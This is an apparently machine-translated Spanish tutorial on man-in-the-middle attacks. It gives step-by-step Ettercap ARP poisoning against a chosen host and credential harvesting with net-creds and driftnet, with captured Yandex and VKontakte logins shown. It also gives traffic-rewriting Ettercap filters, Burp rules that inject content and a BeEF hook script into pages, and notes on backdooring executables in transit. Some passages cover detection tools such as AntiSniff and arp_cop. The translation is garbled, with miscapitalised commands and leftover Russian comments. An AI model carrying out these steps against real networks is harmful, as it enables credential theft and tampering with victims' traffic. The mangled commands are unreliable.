Los piratas informáticos lo utilizan para redirigir el tráfico. Métodos de ataques de piratas informáticos. Suplantación de datos con Burp

Métodos para interceptar el tráfico de red.

Escuchar la red utilizando programas analizadores de red es la primera y más de una manera sencilla interceptación de datos.

Para protegerse contra escuchas ilegales en la red, utilice programas especiales, por ejemplo, AntiSniff, que son capaces de identificar computadoras en la red que están escuchando el tráfico de la red.

Para resolver sus problemas, los programas antisniffer utilizan una señal especial de la presencia de dispositivos de escucha en la red: la tarjeta de red de la computadora rastreadora debe estar en un modo de escucha especial. Mientras están en modo de escucha, las computadoras de la red reaccionan de una manera especial a los datagramas IP enviados al host que se está probando. Por ejemplo, los hosts de escucha normalmente procesan todo el tráfico entrante, no solo los datagramas enviados a la dirección del host. Hay otras señales que indican un comportamiento sospechoso del host que AntiSniff puede reconocer.

Sin lugar a dudas, las escuchas ilegales son muy útiles desde el punto de vista de un atacante, ya que le permiten obtener mucha información útil: contraseñas transmitidas a través de la red, direcciones de computadoras de la red, datos confidenciales, cartas, etc. Sin embargo, una simple escucha no permite que un pirata informático interfiera con la comunicación de red entre dos hosts para modificar y corromper datos. Para resolver este problema se necesita una tecnología más compleja.

Para interceptar y hacerse cargo del proceso de interacción de red entre dos hosts A y B, un atacante puede reemplazar las direcciones IP de los hosts que interactúan con su propia dirección IP enviando mensajes ARP (Protocolo de resolución de direcciones) falsificados a los hosts A y B.

Arroz. 1 solicitudes ARP falsas

Veamos cómo un hacker puede usar ARP para interceptar las comunicaciones de red entre los hosts A y B.

Para interceptar el tráfico de red entre los hosts A y B, el hacker impone su dirección IP a estos hosts, de modo que A y B utilicen esta dirección IP falsificada al intercambiar mensajes. Para imponer su dirección IP, el hacker realiza las siguientes operaciones.

  • El atacante determina las direcciones MAC de los hosts A y B, por ejemplo, utilizando el comando nbtstat del paquete W2RK.
  • El atacante envía mensajes a las direcciones MAC identificadas de los hosts A y B, que son respuestas ARP falsificadas a solicitudes para convertir las direcciones IP de los hosts en las direcciones MAC de las computadoras. Se informa al host A que la dirección IP del host B corresponde a la dirección MAC de la computadora del atacante; Se informa al host B que la dirección IP del host A también corresponde a la dirección MAC de la computadora del atacante.
  • Los hosts A y B almacenan las direcciones MAC recibidas en sus cachés ARP y luego las usan para enviarse mensajes entre sí. Dado que las direcciones IP A y B corresponden a la dirección MAC de la computadora del atacante, los hosts A y B, sin sospecharlo, se comunican a través de un intermediario que puede hacer cualquier cosa con sus mensajes.

Para protegerse contra tales ataques, los administradores de red deben mantener una base de datos con una tabla de correspondencia entre las direcciones MAC y las direcciones IP de sus computadoras de la red.

En redes UNIX, este tipo de ataque de solicitud ARP falsificado se puede implementar utilizando utilidades del sistema para monitorear y administrar el tráfico de red, por ejemplo, arpredirect. Desafortunadamente, estas utilidades confiables no parecen implementarse en redes Windows. Por ejemplo, en el sitio web de NTsecurity puede descargar la utilidad GrabitAII, presentada como una herramienta para redirigir el tráfico entre hosts de red. Sin embargo, una comprobación básica de la funcionalidad de la utilidad GrabitAII muestra que el éxito total en la implementación de sus funciones aún está lejos.

Para interceptar el tráfico de red, un atacante puede falsificar la dirección IP real de un enrutador de red con su propia dirección IP, haciendo esto, por ejemplo, utilizando mensajes ICMP Redirect falsificados. El host A debe, según RFC-1122, percibir el mensaje de redireccionamiento recibido como una respuesta a un datagrama enviado a otro host, por ejemplo, B. El host A determina sus acciones en el mensaje de redireccionamiento en función del contenido del mensaje de redireccionamiento recibido. y si se especifica la redirección de datagramas en Redirigir de A a B a lo largo de una nueva ruta, esto es exactamente lo que hará el host A.

Arroz. 2 ruta falsa

Para realizar un enrutamiento falso, el atacante debe conocer algunos detalles sobre la organización. red local, en el que se encuentra el host A, en particular, la dirección IP del enrutador a través del cual se envía el tráfico desde el host A a B. Sabiendo esto, el atacante generará un datagrama IP en el que la dirección IP del remitente se define como la IP del enrutador. dirección, y el destinatario es el host A especificado. También se incluye en el datagrama un mensaje de redireccionamiento ICMP con el campo de dirección del nuevo enrutador configurado con la dirección IP de la computadora del atacante. Habiendo recibido dicho mensaje, el host A enviará todos los mensajes a la dirección IP de la computadora del atacante.

Para protegerse contra tal ataque, debe deshabilitar (por ejemplo, usando un firewall) el procesamiento de mensajes de redireccionamiento ICMP en el host A, y el comando tracert (en Unix, este es el comando tracerout) puede revelar la dirección IP de la computadora del atacante. . Estas utilidades son capaces de encontrar una ruta adicional que ha aparecido en la red local y que no se proporcionó durante la instalación, a menos, por supuesto, que el administrador de la red esté atento.

Los ejemplos anteriores de interceptaciones (para las cuales las capacidades de los atacantes están lejos de ser limitadas) nos convencen de la necesidad de proteger los datos transmitidos a través de la red si los datos contienen información confidencial. El único método de protección contra las interceptaciones del tráfico de la red es el uso de programas que implementan algoritmos criptográficos y protocolos de cifrado y evitan la divulgación y sustitución de información secreta. Para resolver estos problemas, la criptografía proporciona los medios para cifrar, firmar y verificar la autenticidad de los mensajes transmitidos a través de protocolos seguros.

La implementación práctica de todos los métodos criptográficos para proteger el intercambio de información es proporcionada por Redes VPN(Red Privada Virtual - Redes privadas virtuales).

Intercepción de conexión TCP

El ataque de interceptación de tráfico de red más sofisticado debe considerarse la captura de conexión TCP (secuestro de TCP), cuando un pirata informático interrumpe la sesión de comunicación actual con el host generando y enviando paquetes TCP al host atacado. A continuación, utilizando la capacidad del protocolo TCP para restaurar una conexión TCP interrumpida, el hacker intercepta la sesión de comunicación interrumpida y la continúa en lugar del cliente desconectado.

Se han creado varias utilidades eficaces para realizar ataques de secuestro de conexiones TCP, pero todas están implementadas para la plataforma Unix y en los sitios web estas utilidades se presentan sólo en forma de código fuente. Por tanto, los ataques de secuestro de conexiones TCP son de poca utilidad.

El protocolo TCP (Protocolo de control de transmisión) es uno de los protocolos de transporte básicos. nivel OSI, permitiéndole establecer conexiones lógicas a través de un canal de comunicación virtual. A través de este canal se transmiten y reciben paquetes con su secuencia registrada, se controla el flujo de paquetes, se organiza la retransmisión de paquetes distorsionados y al final de la sesión se interrumpe el canal de comunicación. TCP es el único protocolo protocolo básico de la familia TCP/IP, que cuenta con un avanzado sistema de identificación y conexión de mensajes.

Descripción general de los rastreadores de paquetes de software

Todos los rastreadores de software se pueden dividir en dos categorías: rastreadores que admiten el inicio desde línea de comando y sniffers con interfaz gráfica. Sin embargo, observamos que existen rastreadores que combinan ambas capacidades. Además, los rastreadores se diferencian entre sí por los protocolos que admiten, la profundidad del análisis de los paquetes interceptados, la capacidad de configurar filtros y la posibilidad de compatibilidad con otros programas.

Generalmente la ventana de cualquier rastreador con interfaz gráfica consta de tres áreas. El primero de ellos muestra los datos resumidos de los paquetes interceptados. Normalmente, esta área muestra un mínimo de campos, a saber: tiempo de interceptación de paquetes; Direcciones IP del remitente y del destinatario del paquete; Direcciones MAC del remitente y del destinatario del paquete, direcciones de los puertos de origen y destino; tipo de protocolo (red, transporte o capa de aplicación); alguna información resumida sobre los datos interceptados. La segunda área muestra información estadística sobre el paquete individual seleccionado y, finalmente, la tercera área muestra el paquete en forma de caracteres hexadecimales o ASCII.

Casi todos los rastreadores de paquetes le permiten analizar paquetes decodificados (razón por la cual los rastreadores de paquetes también se denominan analizadores de paquetes o analizadores de protocolos). El rastreador distribuye los paquetes interceptados entre capas y protocolos. Algunos rastreadores de paquetes son capaces de reconocer el protocolo y mostrar la información capturada. Este tipo de información suele mostrarse en la segunda área de la ventana del sniffer. Por ejemplo, cualquier rastreador puede reconocer el protocolo TCP y los rastreadores avanzados pueden determinar qué aplicación generó este tráfico. La mayoría de los analizadores de protocolos reconocen más de 500 protocolos diferentes y pueden describirlos y decodificarlos por su nombre. Cuanta más información pueda decodificar un rastreador y mostrar en la pantalla, menos será necesario decodificar manualmente.

Un problema que pueden encontrar los rastreadores de paquetes es la incapacidad de identificar correctamente un protocolo utilizando un puerto distinto del puerto predeterminado. Por ejemplo, para mejorar la seguridad, algunas aplicaciones conocidas pueden configurarse para utilizar puertos distintos de los predeterminados. Entonces, en lugar del tradicional puerto 80 reservado para el servidor web, Este servidor Puede reconfigurarlo a la fuerza en el puerto 8088 o cualquier otro. Algunos analizadores de paquetes en esta situación no pueden determinar correctamente el protocolo y solo muestran información sobre el protocolo de nivel inferior (TCP o UDP).

Hay rastreadores de software que vienen con módulos analíticos de software como complementos o módulos integrados que le permiten crear informes con información analítica útil sobre el tráfico interceptado.

Otro rasgo característico de la mayoría de los analizadores de paquetes de software es la capacidad de configurar filtros antes y después de capturar el tráfico. Los filtros seleccionan ciertos paquetes del tráfico general según un criterio determinado, lo que le permite deshacerse de información innecesaria al analizar el tráfico.

Alternativas a Ettercap

Ettercap es el software de ataque de intermediario más popular, pero ¿es el mejor? A lo largo de todas las instrucciones, verá que Ettercap casi nunca se usa solo, que siempre se construye uno u otro programa con él en una cadena de procesamiento de tráfico. Quizás esto agregue flexibilidad; en general, este enfoque es la base de UNIX: un programa realiza una tarea y el usuario final combina varios programas para lograr el resultado deseado. Con este enfoque, el código del programa es más fácil de mantener; a partir de estos "ladrillos" en miniatura se puede construir un sistema de cualquier complejidad y flexibilidad. Sin embargo, tener cinco consolas abiertas con diferentes tareas, cuyo trabajo apunta a lograr un solo resultado, no es muy conveniente, simplemente es más complicado, existe la posibilidad de cometer un error en algún momento y todo el configurado El sistema funcionará en vano.

Net-Creds huele:

  • URL visitadas
  • Solicitudes POST enviadas
  • inicios de sesión/contraseñas de formularios HTTP
  • inicios de sesión/contraseñas para autenticación HTTP básica
  • búsquedas HTTP
  • Inicios de sesión/contraseñas de FTP
  • Inicios de sesión/contraseñas de IRC
  • Inicios de sesión/contraseñas POP
  • Inicios de sesión/contraseñas IMAP
  • Inicios de sesión/contraseñas de Telnet
  • Inicios de sesión/contraseñas SMTP
  • Cadena de comunidad SNMP
  • todos los protocolos NTLMv1/v2 compatibles como HTTP, SMB, LDAP, etc.
  • Kerberos

Una buena selección de las interceptadas, y la red de deriva es más sencilla a este respecto: solo muestra imágenes interceptadas.

Cambie su máquina al modo de reenvío.

Eco "1" > /proc/sys/net/ipv4/ip_forward

Inicie Ettercap con una interfaz gráfica (-G):

Ettercap-G

Ahora seleccione Hosts, hay un subelemento Buscar hosts. Una vez completado el escaneo, seleccione la lista de Hosts:

Como Objetivo1, seleccione el enrutador (Agregar al Objetivo 1), como Objetivo2 seleccione el dispositivo que atacará (Agregar al Objetivo 2).

Pero aquí puede surgir el primer problema, especialmente si hay muchos anfitriones. En varias instrucciones, incluido el video presentado anteriormente, los autores ingresan a la máquina de destino (todos, por alguna razón, tienen Windows) y usando el comando miran la IP de esta máquina en la red local. De acuerdo, esta opción es inaceptable en condiciones reales.

Si escaneas usando , puedes obtener algunos Información adicional sobre hosts, más precisamente, sobre el fabricante de la tarjeta de red:

Nmap-sn 192.168.1.0/24

Si los datos aún no son suficientes, puede realizar un escaneo para determinar el sistema operativo:

Mapa N -O 192.168.1.0/24

Como podemos ver, la máquina con IP 192.168.1.33 resultó ser Windows, si esto no es una señal de arriba, ¿qué es? 😉 jajaja

Esto es lo que estamos añadiendo como segundo objetivo.

Ahora vaya al elemento del menú Mitm. Allí, seleccione Envenenamiento ARP... Marque la casilla para detectar conexiones remotas.

Empezamos a cosechar, en una ventana lanzamos.

créditos netos

en otro (ambos programas se pueden ejecutar sin opciones)

Red de deriva

La recopilación de datos comenzó inmediatamente:

En el lado derecho, driftnet ha abierto otra ventana en la que muestra las imágenes interceptadas. En la ventana de net-creds vemos los sitios visitados y las contraseñas interceptadas:

1.2 Ettercap + Suite de eructos
3. Ver datos (sitios visitados y contraseñas capturadas) en Ettercap

En el menú Ver tenemos acceso a las pestañas Conexiones y Perfiles. También puede marcar la casilla Resolver direcciones IP. Las conexiones son, por supuesto, conexiones. Ettercap recopila perfiles en la memoria para cada host que descubre. Allí se recogen los usuarios y contraseñas. En este caso, los perfiles con datos de cuenta capturados (contraseñas) están marcados con una cruz:

No es necesario confiar demasiado en los perfiles; por ejemplo, se marcan los inicios de sesión y contraseñas interceptados para FTP y otros servicios, para los cuales el programa puede interpretar claramente la información recibida como credenciales. Esto no incluye, por ejemplo, datos de autenticación básicos, inicios de sesión y contraseñas ingresados ​​en formularios web.

En Connections, los datos más prometedores están marcados con un asterisco:

Puede hacer doble clic en estas entradas para ver los detalles:

Para no buscar estas estrellas en toda la lista, puedes ordenar por este campo y aparecerán todas arriba o abajo:

Autenticación básica capturada:

Contraseña de inicio de sesión para Yandex (resaltada a continuación):

Estas son las credenciales interceptadas de VKontakte:

Asimismo, los datos más interesantes se recogen en la consola inferior:

Si desea guardar los resultados del programa, utilice estas opciones (especifique las claves al iniciar Ettercap:

Opciones de registro: -w, --write escribe los datos capturados en pcapfile -L, --log escribe todo el tráfico en este -l, --log-info escribe solo información pasiva en este -m, --log-msg escribe todos los mensajes en este -c, --compress usa compresión gzip para archivos de registro

4. Sustitución de datos sobre la marcha en Ettercap
4.1 Uso de filtros personalizados de Ettercap

Nota: A pesar de todas las pruebas, los filtros Ettercap todavía no me funcionaron. Es difícil entender si es una cuestión de manos, de características del hardware o de un error en el propio programa... Pero para la versión 0.8.2 (la última en este momento), hay un informe de error sobre problemas con los filtros. En general, a juzgar por los informes de errores y los foros, los filtros se caen con frecuencia o no han funcionado en absoluto durante mucho tiempo. Hay una rama donde se realizaron cambios hace 5 meses https://github.com/Ettercap/ettercap/tree/filter-improvements, es decir mejoras de filtro (con mejoras de filtro). Tanto para esta rama como para la versión del repositorio, se realizaron una amplia variedad de pruebas, se probaron varios filtros en diferentes condiciones, se dedicó mucho tiempo, pero no hubo ningún resultado. Por cierto, para instalar la versión de mejoras de filtro en Kali Linux debes hacer esto:

Sudo apt-get eliminar ettercap-graphical ettercap-common sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filter-improvements https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir build cd build cmake ENABLE_PDF_DOCS =Activado ../ make sudo make install

En general, si sus filtros no funcionan, entonces no está solo. En las instrucciones sobre Ettercap, no puedo saltarme el tema de los filtros, por lo que se discutirán en cualquier caso.

Hasta ahora hemos estado usando Ettercap para la suplantación de ARP. Esta es una aplicación muy superficial. Gracias a los filtros personalizados, podemos intervenir y cambiar el tráfico sobre la marcha. Los filtros deben estar contenidos en archivos separados y deben compilarse utilizando el programa Etterfilter antes de su uso. Aunque la documentación a la que se proporciona el enlace parece escasa, junto con los ejemplos que se dan a continuación, le permitirá escribir filtros bastante interesantes.

Creemos nuestro primer filtro, reemplazará todas las imágenes con esto:

En un archivo llamado img_replacer.filter copie:

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "Aceptar-codificación")) ( reemplazar("Aceptar-codificar", "Aceptar-basura!"); # nota: la cadena de reemplazo tiene la misma longitud que el mensaje original("¡Aceptar codificación zapped!\n"); ) ) if (ip.proto == TCP && tcp.src == 80) ( replace("src=" , " src=\"http://www.irongeek.com/images/jollypwn.png\" "); reemplazar("SRC=", "src=\"http://www.irongeek.com/images/ jollypwn.png\" "); reemplazar("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); reemplazar("SRC =", "src= \" http://www.irongeek.com/images/jollypwn.png\" "); msg("Filtro Ran.\n"); )

Compile el archivo:

Etterfilter img_replacer.filter -o img_replacer.ef

Resultados de la compilación:

Etterfilter 0.8.2 copyright 2001-2015 Equipo de desarrollo de Ettercap 14 tablas de protocolo cargadas: DATOS DECODIFICADOS udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 constantes cargadas: VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP Análisis del archivo fuente "img_replacer.filter" hecho. Despliegue del metaárbol listo. Conversión de etiquetas a compensaciones reales realizada. Se completó la escritura de salida en "img_replacer.ef". -> Script codificado en 18 instrucciones.

El modificador -F le dice al programa que cargue el filtro desde el archivo que sigue al modificador. Después de la compilación, el nombre de nuestro nuevo archivo con el filtro es img_replacer.ef, por lo que el comando toma la forma:

Ettercap -G -F img_replacer.ef

Nota: Cuando supervisa el tráfico web, los paquetes que ve pueden estar cifrados. Para trabajo eficiente filtros, Ettercap necesita tráfico en la forma Texto sin formato. Según algunas observaciones, el tipo de codificación que utilizan las páginas web es "Codificación de aceptación: gzip, deflate"

A continuación se muestra un filtro que sobrescribe la codificación, forzando la comunicación en forma de texto sin formato:

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "gzip")) ( replace("gzip", " "); # nota: cuatro espacios en la cadena reemplazada msg ("gzip\n blanqueado"); ) ) if (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "desinflar")) ( reemplazar("desinflar", " "); # nota: siete espacios en la línea reemplazada msg("desinflado en blanco\n"); ) )

La sintaxis para escribir filtros se describe en detalle y luego hay algunos ejemplos más:

# reemplazando texto en un paquete: if (ip.proto == TCP && search(DATA.data, "lol"))( replace("lol", "smh"); msg("filter ran"); ) # show mensaje, si el puerto tcp es 22 if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( msg("paquete SSH\n"); ) ) # escribir todo el tráfico de telnet, ejecute también ./program para cada paquete if (ip.proto == TCP) ( if (tcp.src == 23 || tcp.dst == 23) ( log(DATA.data, "./ logfile.log "); exec("./program"); ​​​​) ) # registrar todo el tráfico excepto http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) ( log (DATA.data, "./logfile.log"); ) # algunas operaciones en la carga útil del paquete if (DATA.data + 20 == 0x4142) ( DATA.data + 20 = 0x4243; ) else ( DATA.data = " modificado"; DATA .data + 20 = 0x4445; ) # descartar todos los paquetes que contengan "ettercap" if (search(DECODED.data, "ettercap")) ( msg("alguien está hablando de nosotros...\n") ; drop(); kill(); ) # registrar paquetes ssh descifrados que coincidan con la expresión regular if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( if (regex(DECODED.data, ".*login.*")) ( log(DECODED.data, "./decrypted_log"); ) ) ) # eliminar paquetes if (ip.ttl< 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

4.2 Sustitución de datos usando Burp

Lanzamos Ettercap y Burp como se describe en el párrafo 1.2 o en el párrafo 2.2.

En Burp, vaya a Proxy -> Opciones. Allí encontramos Coincidir y Reemplazar. Haga clic en Agregar para agregar una nueva regla.

  • El encabezado de la solicitud es el encabezado de la solicitud.
  • Cuerpo de solicitud - cuerpo de solicitud
  • Encabezado de respuesta - encabezado de respuesta
  • Cuerpo de respuesta - cuerpo de respuesta
  • Solicitar nombre de parámetro - Solicitar nombre de parámetro
  • Solicitar valor de parámetro - Solicitar valor de parámetro
  • Solicitar primera línea - Primera línea de la solicitud

Si necesita cambiar los datos transmitidos por el método GET, esto se aplica a los encabezados.

En el marcado HTML también existe el encabezado (etiqueta de encabezado). Los mencionados justo arriba no tienen nada que ver con este título. Un poco más arriba hablamos de cabeceras de paquetes. Si quieres cambiar el contenido páginas HTML, entonces siempre debe seleccionar Cuerpo de respuesta en lugar de Encabezado de solicitud, incluso si va a cambiar el contenido de la etiqueta del encabezado (por ejemplo, el título).

Si no estás familiarizado con expresiones regulares Entonces, en principio, no hay nada de qué preocuparse: HTML perdona mucho, y lo que no entiende, simplemente lo ignora; puedes usarlo. Si sabes usar expresiones regulares, entonces te respeto.)))

Por ejemplo, creemos una nueva regla, cambiando el encabezado de la Solicitud al cuerpo de la Respuesta. En la propia regla cambiaremos.

.*

Sin título

Marque la casilla de coincidencia Regex.

Ahora en todos los sitios (sin HTTPS) el título será Sin título:

Inserte una línea arbitraria después de la etiqueta del cuerpo (será la primera línea del texto). El encabezado de la solicitud se cambia al cuerpo de la respuesta. Cambiamos

Marque la casilla de coincidencia Regex.

En la esquina superior derecha (dependiendo del diseño) aparece la inscripción “¡Soy genial!”. Puede insertar CSS, código JavaScript, cualquier texto, cualquier cosa. Generalmente puedes eliminar todo de la página y luego llenarla con tu propio contenido; todo depende de tu imaginación.

La idea era modificar ligeramente cada formulario para que los datos se enviaran al servidor original y al servidor del atacante (implementar envío múltiple para cada formulario). Pero habiendo razonado que si los datos transmitidos no están cifrados y tenemos acceso a ellos, entonces ya los vemos, no es necesario enviarlos a ningún servidor. Sin embargo, si alguien necesita un ejemplo realmente funcional de cómo enviar datos desde un formulario a varios servidores a la vez.

5. Conexión en BeEF

Para comenzar a utilizar las capacidades de BeEF, necesitamos incrustar un archivo JavaScript en el código HTML, generalmente una línea como:

Los dos métodos siguientes difieren sólo en el método de incrustar esta cadena.

5.1 Conexión de BeEF usando filtros Ettercap

[la sección se preparará más adelante]

5.2 Conexión de BeEF con Burp

Debe comenzar exactamente como está escrito en el párrafo 4.2. Solo que en lugar de reemplazar encabezados y agregar texto al sitio, implementaremos código JavaScript en forma de línea:

En mi caso, este archivo está disponible en la IP 192.168.1.36 en el puerto 3000. El archivo se llama hook.js (se puede cambiar en la configuración). Aquellos. en mi caso necesito inyectar la línea:

Esto se puede hacer, por ejemplo, creando una nueva regla, cambiando el encabezado de la Solicitud al cuerpo de la Respuesta. El reemplazo debe realizarse en el propio código HTML.

Genial, cuando abres cualquier sitio web que no tiene HTTPS, se inserta código JavaScript en el código HTML, lo que te permite recopilar información a través de un navegador enganchado y realizar varios ataques:

6. Infección por puertas traseras

Puede reemplazar e infectar archivos ejecutables usando ambos filtros Ettercap [que por alguna razón ya no funcionan] y usando Aplicaciones de terceros. Por ejemplo, BDFProxy puede hacer esto sobre la marcha. Desafortunadamente, BDFProxy todavía se está recuperando de la actualización de Backdoor Factory de abril de 2016: el paquete libmproxy pasó a llamarse mitmproxy en Python. Para BDFProxy, el paquete libmproxy es una dependencia necesaria; sin este paquete el programa no se iniciará. Por lo tanto, ahora, antes de la “reparación” de BDFProxy, es imposible usarlo, porque incluso con Backdoor Factory instalado, el programa BDFProxy se queja de la ausencia de la biblioteca libmproxy...

Se puede realizar una operación similar con Burp Suite. Se presenta el algoritmo paso a paso; no tiene sentido reescribirlo nuevamente en esta sección.

7. Uso de complementos de Ettercap

Puede encontrar información sobre los complementos de Ettercap. Hay bastantes complementos, los que se describen a continuación me parecen los más interesantes.

Los complementos se pueden conectar cuando se inicia Ettercap, existe una opción para esto:

P, --plugin ejecuta esto

Los complementos también se pueden cargar desde la GUI:

[MATERIAL EN PREPARACIÓN]

7.1 arp_policía

Informa actividad ARP sospechosa mediante el monitoreo pasivo de solicitudes/respuestas ARP. Puede informar intentos de envenenamiento de ARP o simples conflictos de IP o cambios de IP. Si está creando una lista inicial de hosts, el complemento funcionará con mayor precisión.

Ettercap -TQP arp_cop //

Un ejemplo de detección real de suplantación de identidad de ARP:

Expandir

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // contraseña para mial: ettercap 0.8.2 copyright 2001-2015 Equipo de desarrollo de Ettercap Escuchando en: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/ 255.255.255.0 fe80::a00:27ff:fea3:84a/64 La disección SSL necesita un script "redir_command_on" válido en el archivo etter.conf. Los privilegios se redujeron a EUID 65534 EGID 65534... 33 complementos 42 disectores de protocolo 57 puertos monitoreados 20530 mac huella digital del proveedor 1766 tcp huella digital del sistema operativo 2182 servicios conocidos Aleatorizando 255 hosts para escanear... Escaneando toda la máscara de red en busca de 255 hosts... * |====== =============== ============================>

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // contraseña para mial: ettercap 0.8.2 copyright 2001-2015 Equipo de desarrollo de Ettercap Escuchando en: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/ 255.255.255.0 fe80::a00:27ff:fea3:84a/64 La disección SSL necesita un script "redir_command_on" válido en el archivo etter.conf. Los privilegios se redujeron a EUID 65534 EGID 65534... 33 complementos 42 disectores de protocolo 57 puertos monitoreados 20530 mac huella digital del proveedor 1766 tcp huella digital del sistema operativo 2182 servicios conocidos Aleatorizando 255 hosts para escanear... Escaneando toda la máscara de red en busca de 255 hosts... * |====== =============== ============================>| 100.00 % 3 hosts agregados a la lista de hosts... Iniciando rastreo unificado... Solo texto Interfaz activada... Presione "h" para obtener ayuda en línea Activando el complemento arp_cop... arp_cop: complemento ejecutándose... arp_cop: (nuevo host ) 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge s ser 192.168.1.1 arp_cop: ( ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (WA RNING) 192.168.1.35 pretende ser 192.168 .1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.1 68.1.1 arp_cop: ( ADVERTENCIA) 192.168 .1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (W ADVERTENCIA) 192.1 68.1.35 pretende ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (W ADVERTENCIA) 192.168.1.3 5 pretende ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop : ( ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (WAR NING) 192.168.1.35 pretende ser 192. 168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 19 2. 168.1.1 arp_cop: (ADVERTENCIA ) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) ) 192.168.1.35 pretende ser 192.168 1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.16 8.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.168.1.35 finge ser 192.168.1.1 arp_cop: (ADVERTENCIA) 192.16 8.1.35 pretende ser 192.168 .1.1. .........................

7.2 adición automática

Agregará automáticamente nuevas víctimas a medida que se conecten al ataque mitm de envenenamiento ARP. Busca solicitudes ARP en la red local y, si las detecta, el complemento agregará el host a la lista de víctimas si la lista se especificó como OBJETIVO. Se agrega un host cuando una solicitud arp es visible desde él.

7.3 chk_veneno

Comprueba si los módulos arp etch en ettercap tienen éxito. Envía paquetes de eco ICMP falsificados a todas las víctimas del acoso mientras finge ser cada víctima. Puede captar una respuesta ICMP con nuestra dirección MAC como destino, lo que significa que el cebo entre los dos objetivos es exitoso. Comprueba ambas rutas de cada conexión.

7.4 dns_spoof

